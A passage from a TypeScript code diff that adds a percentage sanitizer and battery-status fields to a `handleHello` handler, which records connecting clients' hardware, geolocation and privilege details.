+ if (n < 0 || n > 100) return undefined;
+ return n;
+}
+
function sanitizeJsonField(
val: unknown,
opts: { maxJsonBytes: number; maxArrayLen?: number; maxKeys?: number },
@@ -101,6 +108,11 @@ export async function handleHello(
info.cpu = sanitizeInfoString((payload as any).cpu) || info.cpu;
info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu;
info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram;
+ const batteryPercent = sanitizePercent((payload as any).batteryPercent);
+ if (batteryPercent !== undefined) {
+ info.batteryPercent = batteryPercent;
+ info.batteryCharging = !!(payload as any).batteryCharging;
+ }
const geoip = await getGeoip();
const geo = info.ip ? geoip.lookup(info.ip) : undefined;
const countryRaw =
@@ -127,6 +139,8 @@ export async function handleHello(
cpu: info.cpu,
gpu: info.gpu,
ram: info.ram,
+ batteryPercent: info.batteryPercent,
+ batteryCharging: info.batteryCharging,
isAdmin: info.isAdmin,
elevation: info.elevation,
permissions: info.permissions,
|